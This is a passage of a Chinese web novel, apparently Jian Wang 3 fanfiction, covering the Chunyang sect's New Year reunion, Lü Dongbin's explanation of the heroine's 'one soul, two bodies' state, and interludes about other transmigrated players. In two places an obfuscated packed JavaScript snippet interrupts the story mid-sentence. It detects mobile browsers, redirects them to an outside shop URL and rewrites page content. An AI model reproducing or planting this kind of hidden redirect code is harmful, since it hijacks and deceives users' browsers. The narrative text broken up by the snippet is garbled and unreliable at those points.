谢云流看得出来,洛风大概身上有旧伤,又刚中了毒,不是那藤原对手,正要出手,却听一声怒喝,竟恰好道出他的心声:“风儿退下——大胆蛮夷,休得无礼!” 那人纯阳武学使得更加纯熟精妙,几招之下,藤原健三郎已见颓势。 谢云流不由在心中暗暗喝彩,正在此时,耳边却传来一阵笑声:“云流啊,你看你这五师弟如何?” 这声音已暌违数十载,让他心中五味杂陈,近乡情怯之下竟生出落荒而逃之念。 “大师兄。”却是一人含笑挡在了他面前,鬓生白发,面生细纹,眉间红痣……竟与那宫中神武遗迹的噩梦中一般无二。 另有一众身着纯阳道袍之人立在李忘生身后,高矮胖瘦各不相同,不论是否情愿,皆对他拱手,口称“大师兄”,分明皆是初次见面,却似乎已然熟识。 “师傅!”再低头时,洛风几人都热泪盈眶地看着他。 “云流,还走吗?”先前那道笑声又回到耳边。 谢云流僵硬地转过身,与忽然出现在他身侧的老者对视。 片刻后,手中横刀砸在雪堆上,谢云流跪倒在地,对吕洞宾恭敬一礼,声音有些颤抖:“师傅,当初……” 吕祖笑眯眯地捋着胡须,轻描淡写道:“当初之事内情如何,你应该已从梦中知悉了吧。” 谢云流讷讷点头,却又立刻瞪大了眼……梦中……梦中!怎么回事?那些梦难道是…… 吕祖轻抬手臂,将满脸错愕的大徒弟从雪地里扶起,又看向刚刚收剑,亦是满脸恍然之色的祁进,笑着感慨道:“这么多年啊,人总算齐了……” 长生和师兄师姐站在一处,无比满足地望着眼前难得的团圆之景——确定了,她洛长生就是纯阳宫最能干的小羊! 就在她面无表情实则渐渐膨胀之时,吕祖却忽然看向她,目光狡黠。 “长生啊,今年的盘龙戏凤饺,记得多准备一些哦。” 21.春风送暖入屠苏 纯阳宫中有一处亦名纯阳宫,乃教中圣地,常年云遮雾绕,极具灵气,为吕祖休息所在。 这一日,殿后无极道场上却支起了几口热灶,铁锅上盖子掀开,洁白雾气向上蒸腾,再被微风轻轻一吹,便露出几张眉开眼笑的年轻面庞。 这边洛风拿着笊篱,从锅里捞起几只盘龙饺装盘;那边林语元拎着锅盖,旁边金昀正在往锅中下饺子;中间高剑和燕小霞等人提着装满饺子的食盒往各宫各殿送,忙得脚不沾地。 一个个圆滚滚的盘龙饺戏凤饺下了锅,在滚水中上下沉浮几遭,生的就变成熟的。若是煮过了饺子破皮,就变成煮烂的盘龙饺或戏凤饺,虽然卖相不佳,却也可以放进食盒。还有人不爱吃煮的饺子,旁边便另设一灶,专做煎饺。 灶台烟气、汤水热气、煎饺香气与云雾混在一起,人间仙境沾了红尘烟火,别有意趣。 今日纯阳宫不修仙,修的是红尘俗世,人间团圆。 “煮烂了,太可惜了,但不吃掉就更可惜了……”纯阳宫内,上官博玉吞下盘中最后一个煮烂的盘龙饺子,摸了摸自己的肚子,“已有八分饱。”* 于睿和刘梦阳早已放下筷子,闻言微微点头:“我也饱了。” 卓凤鸣吃下一个饺子,忽然眉头一皱,继而却又笑起来,将一硬物吐出:“福钱。” “卓师弟来年必接好运。”李忘生笑着恭喜,手边又被谢云流推来一盘戏凤饺,只能无奈道,“大师兄,我吃不下了。” 谢云流只道:“有福钱。” 李忘生便又往口中塞了只戏凤饺,竟真的吃出一枚福钱来,见谢云流手边空空如也,又将那枚塞给了大师兄。 祁进坐在一旁,见到这一幕不知为何有些不自在,还把自己吃出的福钱往手边拢了拢。 谢云流见状,把手中酒杯撂在桌上:“哼,难道还有谁会抢你的福钱?” 神出鬼没的吕洞宾笑呵呵地从他们身后路过,调侃道:“进儿运气真不错,莫不是长生娃儿给你开小灶了吧?” 其他人皆笑:“这些时日长生和祁师弟一道做了不少大事,关系自是十分亲近。” 长生名义上的师傅谢云流轻哼一声,又想起先前师傅之言,不由旧事重提,问李忘生:“师弟,先前说昔日误会的内情我应从梦中知悉,那些梦……” 李忘生还未答话,吕祖便笑眯眯地阻止道:“你啊,性子还是这般急,且再等一会儿,介时自会知晓来龙去脉。进儿啊,去和孩子们说,师傅师祖都已腹中饱胀,让他们顾好自己。哦,记得让长生还有流岚吃完饭过来一趟。” “是。” 祁进谨遵师命,把消息告诉了热火朝天煮着饺子的三代弟子们,却未曾见到长生人影,最后只得抓住灶台旁的洛风询问。 “小师妹?”洛风擦了把汗,笑着指向不远处,“在那儿呢,和师傅一道的那位谢大侠也在。” 祁进往他指的方向一看,却只看到一堆高高摞起的食盒,又听洛风互道:“哎呀,还没来得及告诉师妹,不用再准备那么多饺子了……” “你是说……我们吃的饺子都是她一个人包的?”祁进惊讶之余又有些不是滋味。 洛风挠了挠头,神情有些古怪,支支吾吾道:“也不是,只是小师妹跟那位谢师弟一个人能顶我们四五个,还说是有什么包饺子独门秘籍,不能外传……到后面我们就只需要把饺子下锅就好……哎,祁师叔!” 祁进已经大步朝那个角落走去,结果却看到洛长生和那谢流岚坐在一起,皆是神游之状,可偏偏洛长生的手竟放在谢流岚胸口,中间没有任何布料阻隔…… “大庭广众之下……成何体统!”祁进以袖掩面,当即怒斥一声。 长生一个激灵从原地跳了起来,往前一步似乎要开口辩解,那谢流岚却依旧坐在原地,连衣领都不曾整一整,简直是…… 简直是不堪入目! 祁进拂袖欲走,却忽觉脚底踩到异物,定睛一看正是只白胖饺子的尸体,这才觉得有哪里不对,再看谢流岚之时,就见他坐在原地机械性地搓手,时不时有几只盘龙饺从他袖子里滚出来……这饺子究竟哪里来的? 长生欲哭无泪,连忙上身谢流岚,把仍在进行中的“烹饪·盘龙饺”取消,她刚刚忙着和鹤崽跟鹦哥交流其他侠士的事,根本没注意祁进什么时候来的。 “你……他……师傅让你吃完饭来殿中一趟。”祁进抛下这句话,转头就走,脑海中闪过一堆光怪陆离的念头。 为何长生对于离开寇岛等事的时间安排如此细致,谢云流又来得这般巧……长生和谢流岚怎会如此熟络,谢流岚所谓的离魂之症又是怎么回事……长生的性别究竟是他一直以来的误会还是突然变换……还有师傅那天说的梦…… 这个世界……还正常吗? 长生眼看祁进顶着一脸怀疑人生的表情离开,只当他是被自己方才……咳咳,有伤风化的举止惊到了。 但是该怎么解释呢?她如果说自己只是在恢复精力……谁会信啊! 可偏偏这就是事实…… 剑三中类似烹饪这样的生活技能需要消耗精力值,游戏中可以通过日常周常任务等获取,在线也会自动恢复,但速度远比不上消耗。 放在这个世界,大量获取精力的途径几乎为零,师傅师叔们又实在太能吃,她洛长生这个角色的精力已经快消耗光了,当然需要回复精力。 之前她还觉得系统终于人性化了一次,会根据个人喜好设定增加精力恢复的活动,虽然她的加成体现在了不易宣之于众的事情上…… 九州百人语当初无情吐槽:“谁让你平时在线挂机不是在世界频道复制骚话就是给擦边名片点赞,要么就是欣赏自己角色的美好肉|体,现在没有世界频道,没有名片系统,不就只剩谢流岚的身体了吗?别装了,其实你心里很高兴吧。” 她当时还理直气壮地想,反正都是我捏的体型,摸一摸怎么啦…… 啊,死手!啊,为什么偏偏是祁师叔! 要是祁进看穿她面瘫脸下的本质,再联想到她之前偷偷玩“奇迹进哥儿”换装游戏的事……会死人的吧…… 长生决定从今天开始戒色一月……呃,还是一周吧。 望着祁进离开的方向,她忽然想到什么,立刻勾选了跟随谢流岚,切换灵魂载体跟了上去。反正师祖和掌门师叔知道她的情况,告诉师傅和其他几位师叔应该也无妨,作为“世外之人”“异星”有什么古怪举动也不稀奇,反正都是系统设定的错! 她岌岌可危的名声和形象……但愿还有救…… 另一边,众人只见祁进精神恍惚地走进殿中,皆面露不解。 祁进抬头望向满脸含笑的吕祖,只觉得师傅似乎什么都知道,他嘴唇翕动了一下,还未开口,令他失神至此的罪魁便莽莽撞撞地冲了进来。 “误会!祁师叔!”谢流岚在他跟前一个急刹车,跟随状态的洛长生直接撞在他背上,像个不倒翁一般晃了晃,才呆呆站在了原地。 “谁是你师叔?”祁进皱眉问道。 李忘生悄悄看了眼师傅,却见他老人家依旧一副老神在在的模样,俨然是在看戏,便也放下心来,于睿见状,拉住小师妹刘梦阳,一副若有所思的样子。 谢云流的目光则在长生与流岚之间来回两遭,缓缓开口道:“离魂之症?” 谢流岚对他躬身行礼,十分干脆地坦白:“师傅,不,宗主,很抱歉先前出此下策,我没有离魂之症,而是洛长生与谢流岚本为一魂双体。” “一魂双体?” “此事我来解释吧。”吕祖走到谢流岚面前,如上次对长生一般轻触她眉心,瞬息之间,众人眼前便换了一幅景象。 “神仙!神仙!神仙师祖!”九州百人语睁着一双亮晶晶的豆豆眼,挥挥翅膀便落在了吕祖伸向他的手指上,又被摸了摸羽毛,俨然一副乐不思蜀的模样。 谢流岚简直没眼看,这只鹦鹉平日里对着她分明张狂又恣肆,何曾这般乖巧过? 吕祖又在她头顶一抚,熟悉的光团便又钻进鹦哥体内,他笑道:“试试吧。” 鹦哥挺着胸脯,雄赳赳气昂昂地扇了扇翅膀,一道刀气便从华丽的飞羽末端射出,在远处一方山石上留下一道深深的刻痕。 谢云流神情严肃地查看了那方山石,又仔细瞧了瞧那只鹦鹉,心中不由惊异非常,再看师弟李忘生怀中抱着的那只仙鹤幼崽,怎么看怎么觉得眼熟,不由道:“这鹤……” “便是先前与师兄梦中交手的鹤崽。”李忘生道,望着谢云流的目光中却有一丝同情。 吕祖干脆笑道:“来,小家伙们,给你们师傅师叔比划比划。” 李忘生便将怀中仙鹤放在地上,鹦哥也自吕祖手臂跃下,挥着翅膀朝鹤崽袭来,出手便是一招孤锋破浪,鹤崽则慢悠悠地转了一圈,干脆在原地落了个镇山河——给长辈表演嘛,当然是直接放些绝招啦。 两只鸟儿你来我往耍作一团,看得纯阳七子齐齐喝彩,更有人心潮澎湃,直想上场加入。 谢云流终于按捺不住,再次追问:“师傅,这究竟是怎么一回事?尤其那个梦……” 吕祖却摇摇头道:“梦?似梦非梦,虚虚实实,云流啊,你可知若是没有长生流岚,梦中所见或将成为现实?” 当啷一声,却是祁进的剑直直落在地上,谢云流看他一眼,神色难辨。 “但既是并未发生,便无需太过介怀。”吕祖又道,“但你二人皆是刚烈正直的性子,日后行事须得引以为戒,莫要冲动鲁莽。” “是。” “异星降世,其中之一应在纯阳,老夫夜观天象,恰巧发现,便与忘生设局应对,幸而长生性子极好,也一心为我纯阳,怪道是掌门最喜欢的小羊……” 谢流岚与洛长生原本格外乖巧地坐在一旁,不料又被吕祖翻出旧帐,面上看不出羞涩,只两双耳朵灼灼欲燃。 吕祖见状朗声大笑,而后善解人意地将她穿越而来的事实用更适合此界中人理解的方式叙述出来,包括一魂双体之事,又问:“自寇岛归来,便见长生换了女娃娃的装束,可见我当初做得不错,流岚身上亦是如此,不过这阴阳之惑,必要之时却也可以迷惑敌人。” 祁进忍不住直言:“只怕未及迷惑敌人,先迷惑了自己人。” “那实非我所想……”谢流岚无奈喊冤,都是系统的错! 众人皆笑祁进深受其害,李忘生忽道:“师傅所言敌人……” 吕祖却只摇摇头:“你们只需对那些暗中探查世外之人的人物多加留心,至于其他,时机未到,不可过分泄露天机,到了我纯阳宫应劫之时,你们自会知晓,长生流岚亦要切记。你那系统固然神通广大,却需记住天外有天,人外有人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16462758|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢流岚乖乖点头,答道:“师祖放心,我绝不会冒险开启牵涉到强敌的秘境。” 吕祖笑道:“你行事很有分寸,老夫十分放心。” 祁进:……有苦说不出。 谢云流上下打量了一番自己名义上的徒儿,忽然又察觉师弟含义复杂的目光。 吕祖看了眼刚回山没多久的大徒弟,默默把不小心被自己揪断的胡子藏了起来,轻咳一声,道:“此外,将你们聚在此处还为一件事,长生与流岚日后成就关乎此界命运,我们这些为人师长的,自是要鼎力相助。流岚啊,把你眼下最紧急的任务告诉你的师傅师叔吧。” 谢流岚:…… 谢流岚小心翼翼地看了眼谢云流,不自觉吞了口唾沫……正主就在这儿,她不太敢说。 谢云流皱眉:“既是我静虚门下,何故做此姿态?有话便说。” “那我说了……”谢流岚闭了闭眼,“我的新手任务是——击败谢云流!” “击败……等等,击败谁?”上官博玉双目圆睁,险些把手中拂尘柄捏碎。 不知是谁倒吸了一口凉气,于睿谨慎询问:“仅你一个单打独斗?” 谢流岚摇摇头,又分别指了指洛长生和已经累趴的鹦哥和鹤崽:“我们四个。” 吕祖笑眯眯地说:“所以需要你们来教导她,集思广益,众志成城。” “好。”祁进率先应道,“我会尽师叔之责。” 卓凤鸣看了大师兄一眼,眸中亦是跃跃欲试之色:“我亦如此。” 李忘生也看了眼神色莫名的谢云流,笑道:“自师兄出走之后,一直未有机会再度与师兄过招,吾亦对师兄如今实力十分好奇。” 上官博玉还问:“只能从武艺上击败?不能较量道法亦或是丹术?” 谢流岚摇头,如果有捷径,她也很想走啊…… 于睿干脆道:“既是如此,那便将我们七人武学所长一一列出,再结合长生与流岚的个人条件,列个教习章程如何?” 一直保持沉默的谢云流:“……我也需要?”他要联合师弟师妹绞尽脑汁教自己的徒弟打败自己?……这算什么? 吕祖恍然:“哦,似乎忘记解释了,云流啊,长生他们要战胜的对象非你本人,而是一个武学幻影,来自那位剑圣拓跋思南对你的记忆。” “哦?竟是如此。”谢云流眉梢微动,挑剔地看了眼谢流岚与洛长生,“……若想取胜,并非没有可能,只是日后必须勤学苦练……即便如此,恐怕也要多年时间。” “急不得,慢慢来吧。”吕祖笑道,“见你们斗志昂扬,老夫日后再去云游四海,闭关清修,也都能放心了。” “师傅……您又要走?”谢云流不由问,他才刚回山…… 吕祖轻轻拍拍他的肩:“你能回来,我也算了却一桩执念。你如今已是开宗立派的一代宗师,为师心中甚是骄傲。只望你们今后齐心协力,莫负初心,也莫负我纯阳之道。” 众人齐声应是,又在转瞬间回了纯阳宫中。 爆竹声中一岁除,却又是离别之际,不知是谁搬了几坛屠苏酒来,众人开怀畅饮,有人击剑而歌,有人醉后起舞。 谢流岚拉着洛长生,一会儿被这位师叔叫去说几句“击败谢云流”的悄悄话,一会儿被那位师叔叫去传授几招决斗秘籍,一时间压力山大,只好靠喝酒来压惊,不知不觉便饮了许多,最后意识全无。 再度醒来时,她竟已躺在马车中,一旁是贴身照顾她的方一琳。 小姑娘见她醒来,激动地欢呼一声,而后难掩兴奋地问:“谢大侠原来是谢姐姐,你若是早些说出来,我娘估计早就放心让我随你走了,不过我都明白……” 哦,原来她已经变成了女身……等一下,这又是在哪里? “我们在去扬州的马车里哦,那个老爷爷,不对,陶叔叔说我应该管他叫师祖……师祖要带我们再去海上呢!”方一琳兴奋道,“听说是因为我们的宗门在东海之滨!啊,差点忘了,师傅在上,请受徒儿一拜!” 谢流岚稀里糊涂多了个徒弟,又发现同行之人中还有几位静虚师侄,说是日后纯阳刀宗亲如一家,刀宗新建不久,他们要去帮忙,可问了一圈却还没弄清楚那天她喝醉以后发生了什么……就连九州百人语也不肯告诉她! 她没有死心,又换到洛长生处,就看到萧孟师姐先是一脸喜色地看着她,随后却立马收敛笑容,只说:“我去告诉几位师叔。” “醒了?”祁进沉着脸走进来,“醒了就来无极道场,你的针对性训练从今天开始。” 长生懵懵地看着他……不对劲啊,到底发生了什么?! 后来她调查了很久,却只得到一个线索——纯阳和刀宗皆有一条众所周知但不成文的规定,所有弟子禁止洛长生/谢流岚碰酒。 还有一个令她不敢深思的事实,九州百人语有时候会在睡梦中喃喃自语:* “往事流转,在你眼眸……师兄,我知道我留不住你……谢云流!!你给他挡剑!你喊他师弟!你和他挨着打坐!!……谢宗主,听说你至今未娶啊!!……进哥儿这‘还恩令’我接下了,不过来日有暇,定要他舍了纯阳,重归于我……你是高悬华山之巔的一轮明月,而我,只是这沙漠里的一只小小沙鼠……何必……” 罪过罪过,还是好生练剑吧。 风起稻香·鹦咩卷·完结 22.幕间·各自东西南北流 三月桃花灼灼,杨柳青青,群鲤越波,正是江南好风景。 照月从霸刀山庄返回长歌门数月有余,早已渐渐熟悉了此间生活。 晨起练剑半个时辰,再与同辈弟子一并往微山书院或漱心堂外读书,午后往御射场练习骑射或于挽音阁学琴,休沐日还会有一仙一相双剑双巅三琴三贤四指流云开小灶……充实得让照月仿佛回到了高中时。 虽然不是很想回顾现实中的高中生活,但是在长歌门上学,她并不排斥……除了在微山书院摇头晃脑地读书。 因着早上起得早,这般读书又常常令一人一鸟昏昏欲睡,直教她被骆子维先生罚了很多次,几乎把兴文堂附近的老鼠赶尽杀绝,雨后赶虾蟆这种事也几乎被她一人承包。 偏这人才思敏捷过目不忘,虽每日课上混混沌沌,却次次小考都能名列前茅,惹得骆先生又爱又恨,赏也不是罚也不是。 照月内里早已是个养成习惯的成年人,且向来知道何事对自己最有益处,后来干脆央求师傅与先生允她自去读书,射御一道在她熟练之后亦变成自己练习,如此一来,似乎只剩学琴习剑次次都需师长从旁教导。 九龄公曾私下对杨逸飞说:“你这弟子分明是文韬武略出将入相的大才,如今看来,却是一心走江湖之道了?” 杨逸飞只笑:“她有心报国,经苍云军一事九龄公岂会不知?我曾问她为何不愿进鸿鹄院,她只道自己又不得入朝为官,何必占了他人位置,可我知晓这并非直接缘由,只因‘学成文武艺,货与帝王家’非她所愿。” 他顿了顿,又道:“夜北兄先前传书于我,言说照月曾在雁门关一问苍云军诸位统领,逸飞不才,便也在此问一问先生,九龄公心中的大唐,是谁的大唐?” 张九龄默然片刻,长叹一声:“我明白了,‘民为贵,社稷次之,君为轻’……这般人才,若能生于太宗年间……罢了,是我着相,圣上昔年亦是明主,无奈遭奸佞蒙蔽,否则李青莲那般人物又如何能至今仍存回朝之心?” 杨逸飞沉默不语,他与大哥青月皆无心仕途,却知晓师傅李太白对于长安的执念,亦清楚九龄公心中憾恨,然而他却不能反问九龄公,遭人蒙蔽难道只是奸佞之错? 对于照月那一问,他自然也以为水能载舟亦能覆舟乃是颠扑不破的真理,然而万不得已,谁又愿见水覆舟沉之景?届时只怕更是山河破碎,民不聊生。 长歌门自建立至今,无数文人墨客往来其中,有人居庙堂之高,有人处江湖之远,却皆有忧国忧民之心。鸿鹄院更是专为有志入朝为官、准备参加会试的长歌高级弟子所建,因入院要求堪称苛刻而在门中地位超然,可是如今,若入朝不见天日,是否也该有所改变? 而他的弟子,自也应有比之鸿鹄院更合宜的去处……以照月的性子,当会喜欢。 照月还不知道师傅心境发生了何等变化,这些时日她在门中遇见了一个意料之外的人,若猜测为真,细思之下真相实在令她半是欢喜半是愁。 傅七殊过来寻她时,远远就听得琴声泠泠,又见院中有一青白身影上下翩飞,剑风卷着遍地落花,搅起无边花浪。 听得她的脚步声,那花浪似有意识,直直将她包裹其中,又在瞬间散作漫天飞花。 琴音戛然而止,被照月拉来弹琴的杨露轩无奈摇头,指责照月:“你心不静,却还惦记着这般风流轻佻的手段。” 傅七殊一边摘着发间花瓣,一边问:“师妹遇到什么问题了?” 照月笑嘻嘻地凑过去,一边帮她理着头发,一边向师兄告罪,又道:“师姐可知,万书楼那位怀石山人是何来历?又姓甚名谁?” 杨露轩叹了口气:“真不知你为何对那位客卿这般感兴趣……可是他身份有异?不过七殊向来对琐事逸闻不感兴趣,你若问她恐怕还不如直接去问凤师叔。” “师兄这次可猜错了。”傅七殊却摇摇头,“这件事……我恰巧知道一些。” “哦?”照月眼睛一亮,拉着她的手晃来晃去,“好师姐,快告诉我。” “好,不过我也只知道一点。”傅七殊压低声音道,“那位客卿自晟江来,只知本姓龙,因得罪了李相,险些落得家破人亡的下场,幸得义士出手相助,来我们长歌门寻求庇护,只是逃亡时与家人失散,故而常常郁郁寡欢……” 晟江、龙姓、还得罪了李林甫……怀石山人……怀、岩……那不就是龙岩怀? 照月惊愕地眨眨眼,忙继续追问:“师姐可知那位义士是何人?” 傅七殊摇摇头:“这我就不知道了……难不成是师妹认识的人?” 杨露轩也关切地看着照月,在他们的认知里,照月幼年便与亲人失散,辗转流落到千岛湖,后被门主收为弟子,此后寻亲一直未果……若能找到线索,自是莫大的幸事。 “我也不知……”照月的心脏怦怦乱跳,除了穿越而来未卜先知的侠士,还有谁能改变龙岩怀一家的命运?还有燕帅先前做的那个梦,亦是不同寻常…… 不过俊华和龙岩怀失散……难道还是到了丐帮?江潮那支凌雪小队的命运又如何?李林甫勾结吐蕃的证据可还有用?若是李林甫被扳倒,安禄山没了顾忌,是否会提前叛乱? 可是苍云军在她的谋划下得以保全,安禄山与史思明分领平卢、范阳节度使,狼牙军一事已被事先挑明,朝廷既准备分而治之,理应不会毫无行动…… 朝中波诡云谲,且个中情况已与原本时间线不同,穿越者也渐渐没了优势,只能眼观六路耳听八方,未雨绸缪静观其变。 不等她们继续细说,钟玲便匆匆走过来,见她们都在此处,忙道:“有贵客到访,七殊,照月,门主让你们两个都去见客。露轩,你也跟我来……” “见客?”照月和七殊皆面露不解,前者又看向杨露轩,做了个口型,“天道轩任务?” 杨露轩微微摇头,悄悄回了句“尚不知晓”,又笑道:“两位师妹,回见。” 照月抱着琴,和师姐一并穿过往漱心堂去的长廊,低声道:“也不知是什么贵客,这还是师傅头一回特意让我去见客。” 傅七殊也摇摇头:“我亦不知,此前从未有过这般情况……照月,怎么了?” 照月愣在原地,看着远处正与九龄公、杨逸飞、凤息颜等人闲谈的身影,又不敢置信地看了眼焦点列表,“李倓”的大名赫然在列! 七殊又问:“可是瞧见什么了?” “啊,没什么……”照月眨眨眼,抿嘴笑起来,“看见了一只坏猫。” 肥啾站在她头顶昂首挺胸:邪恶金渐层出没!《心归长安》单曲循环!铁血建宁党的心已经蠢蠢欲动了! …… 华山巅的春天来得很晚,已至清明时节,纯阳几处峰上还有积雪残存。 年后吕祖便再度出山云游,长生犹不死心,在后山转了好几圈,却连一只乌龟都没见着,还被祁进怀疑是她想要躲懒,又被抓回去多练了一个时辰的剑。 不过这几日,她明显发现祁师叔心情比之往常更为不悦,为免一不小心触了霉头,她在掌门师叔授课时悄悄打听过,却也只知道大概是因为一些凌雪旧事。 这天夜里,不知是否因着白天练剑太久,长生只觉四肢酸胀,却横竖睡不着,换到谢流岚那边亦是如此,最后干脆从床上爬起来,拎着剑走了出去。 四下静谧无人,焦点列表却出现了一个孤零零的名字。 长生跟随指引走过去,便看见祁进一身素服,正将一只平安锁挂在栏杆上。 风拂过,栏杆上成排的的平安锁轻轻摇动,碰撞出清脆的响声。 这般场景大抵不愿被人看到,长生在原地伫立两秒,悄悄收回了刚才踏出去的脚步。 但是已经晚了。 “出来吧。”祁进转身看向她藏身的角落,“三更半夜,为何不睡?” 长生慢吞吞走到他面前:“累,睡不着。” “那是还不够累。”祁进淡淡道,就见长生迟疑着往回退了一步,不由又被她气笑了,随即摇摇头,把脚边的一坛酒尽数倾在栏杆前的雪堆上。 长生亦步亦趋地跟着他,这时候模样倒和表面一般乖巧。 “眼下无事。练剑?来。” 祁进乍然出招,长生先是心下一惊,随后本能拔剑格挡,鹤崽也闪着翅膀狼狈地落了个镇山河,却被一道人剑合一直接炸翻。 “若是生死之战,只顾着防守可不是好习惯。”祁进提点一句,“再来。” 剑影纷飞,从太极广场一路战至莲花峰,长生终于体力不支,栽到雪堆里喘着气,不想起来了。 祁进伸出手拔萝卜一般将她拽出来:“不早了,回去睡吧,明日轮到我教习,允你多睡一个时辰……啧,你这副表情是想直接继续练剑?” 长生乖乖跟着他往回走,一路上都很沉默,不知过了多久,风里忽然飘来一句:“不问?” “平安锁?”先挂平安锁再倾酒,究竟是祈福还是祭祀呢?那个人又是谁?长生不记得游戏剧情里还有这种设定。 祁进却先问:“长生,你们这样来历的人,如果……算了,想来你也不知道。” 长生不满地瞪了他一眼:“师叔不问,怎知道我不知?” 祁进却拍了拍她的脑袋:“暂时还是不必知道。” 他总不能直接问,像你一样的世外之人,如果往生,会去往哪里呢? 况且他并不知晓那人是不是世外之人,甚至连对方是生是死也不知道。 “谜语人,烦。”长生捂住脑袋,头发都乱了! “那就烦吧。” 因为紫虚子当晚过于不做人,纯阳宫暂时失去洛长生其咩一周。 虽然在刀宗,换了谢流岚也一样被师傅按在地板上摩擦。 谢云流其实更喜欢在秘境之中教导她,因为完全不用留手,也不用担忧令人糟心的徒弟真的会在比斗之中身受重伤——谢流岚合理怀疑师傅还带了一点点报复心。当然,唯一的坏处是只能由他亲自出手,偶尔不小心还会触发那段再也不想看到的剧情。 于是,谢流岚几乎再也没有成功把宫中神武遗迹副本中谢云流的血量压到60%以下。 偶尔在现世指点她练武,谢云流的态度也总是十分严苛,惹得跟来刀宗的张钧与静虚三代弟子个个心有戚戚,也对百折不挠的谢流岚十分佩服。 却不知谢云流私下对师弟李忘生说:“我其实最欣赏她这副倔强心气,如此看来,想要打败那梦中幻影,大概只需四五年光景。” “四五年便可战胜师兄,即便只是幻影,也可谓天纵英才。”李忘生笑道,“天降异星于纯阳,竟是山门大幸。” 二人对视一眼,纷纷错开目光,唉,就是这异星脑袋里装了太多芜杂之事…… 谢云流轻咳一声,换了个话题:“师弟,师傅临行前,可有言说其他异星之事?” 李忘生摇摇头:“师傅只说异星各有命轨,天机不可泄露。” …… 渤海国,月泉宗。 “泻水置平地,各自东西南北流……这不是一句古诗?”月泉淮眉梢微挑,静静望着眼前东瀛人打扮的女子。 这女子名为风音泠,正是当初指引他往中原寻神算后人以解开自己命数之谜的人。 风音泠轻咳两声,吐出一口血来:“即便冒着反噬己身的风险,穷尽我之所能,也只能卜算至此了。便如宗主命运,世外之人的命运亦不在天定命盘中,且似有天道为其遮掩行踪,还似乎另有高人相助……” “有人相助?”月泉淮想到什么,冷哼一声,又将目光落到那句诗上,“依你之见,单这句卜辞,又是何意?” 风音泠回道:“大抵是说世外之人不止一人,且分散在不同地域,若联系全诗,他们当各有使命,道阻且长。” 月泉淮沉思片刻,挥挥手道:“老夫知晓了,你且退下吧。” 风音泠并不觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472045|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月泉淮顶着一张少年面庞自称“老夫”如何诡异,也不觉得自己并非月泉淮下属,如此对谈受他怠慢,只因知晓此人身有神异且性情狂傲。 她自角门从容离开,路上和一头戴布巾、药农打扮的女子擦肩而过,不曾有片刻迟疑。 傅千枝看着风音泠的名字从焦点列表消失,长舒了一口气,又不停咳嗽起来,脑海中的声音却甚是欣喜:“小狍,风音泠也分辨不出谁是世外之人……” 生着一对小角的肥啾挥挥翅膀,也乐观道:“是呀,这样一来,侠士可以放心做任务啦。” 千枝笑道:“除非月老想不开,试图在每个人身上吸一口内力……咳,咳咳。” “那就按照计划?” “没错,我们明天就去找玉璧仙姑碰瓷……” …… 河西瀚漠,大沙海。 一道娇小身影在漫天黄沙中艰难跋涉,脚步越来越慢,最后匍匐在了黄沙上。 “侠士,侠士!振作一点喵!就快到最近的驿站了喵!” “我不行了……”陆昭昭吐出一嘴沙土,“反正不过是再死一回……我不要走了,穿越一点都不好玩。” 她在现实里年纪轻轻就得了不治之症,按照系统的说法,去世的时候还不到十九岁——距离剑三玩家的平均年龄差很多,甚至刚到不足以触发番薯“劝学记”的年龄。 但是陆昭昭和剑三早有渊源,盖因她是个侠士二代,病重时最快乐的事就是和妈妈爸爸一起打游戏…… 想到家人,昭昭眼眶一红,却硬是把泪水憋了回去。 “不行,我还能苟……”她从沙土地上爬起来,再次在脑海中确认,“既然我能被系统选中……如果剑三能再活几十年,我和他们是不是还有可能在这里团聚?” “是的喵,侠士,一定可以的喵,所以你要坚持下去!”不管这饼真不真,先吊命再说。 “呜呜,咪咪你真好,我之前不该叫你罚罪……” 化身挂宠猫咪小雪的系统跟上她的脚步,悄悄叹了口气:其实喵有正经名字哒。 以上对话经粗略统计已经发生过三次,第一次是陆昭昭刚醒过来,发现自己躺在大沙海中央,还不能使用神行千里的时候;第二次是陆昭昭尝试在这个新世界驯化明教大轻功结果失败的时候;第三次是陆昭昭遇到一支“商队”被骗光家财还险些被杀的时候…… 当时昭昭脑袋里完全没有以武服人这个念头,一心只想着息事宁人和逃跑,身无分文后才反应过来这是个不怎么武侠的武侠世界。 辛辛苦苦攒的小金库一朝清零,小雪都要忍不住怜爱侠士了。 不过她也发现,这孩子只是嘴上喜欢说些丧气话,内心其实很坚强,大抵是习惯了做好最坏的打算,不抱希望就不会失望,但如果她多鼓励几句,侠士也会更开心。 一人一猫顺着地图指引往大沙海边缘行进,气力恢复了就再尝试一下轻功,结果…… “啊,我为什么是个喵萝?明明游戏里的轻功很好用啊……”来自差点突进流沙陷坑的陆昭昭,小雪也觉得侠士有必要从头学习一下金虹击殿。 旁边忽然传来一丝似有若无的轻笑。 “谁?”陆昭昭抱紧猫,警惕地站了起来。 这大半夜的,天上是满天星斗,四周只有一望无际的沙海,除了她和系统,还会有谁? 小雪炸着毛,在昭昭脑海中提醒:“侠士,快打开焦点列表!” 陆昭昭当即照做,但手指还未点开焦点栏,四周却已不再是漫漫黄沙,而是无尽星海。 “这……怎么那么像鸿蒙天禁?” 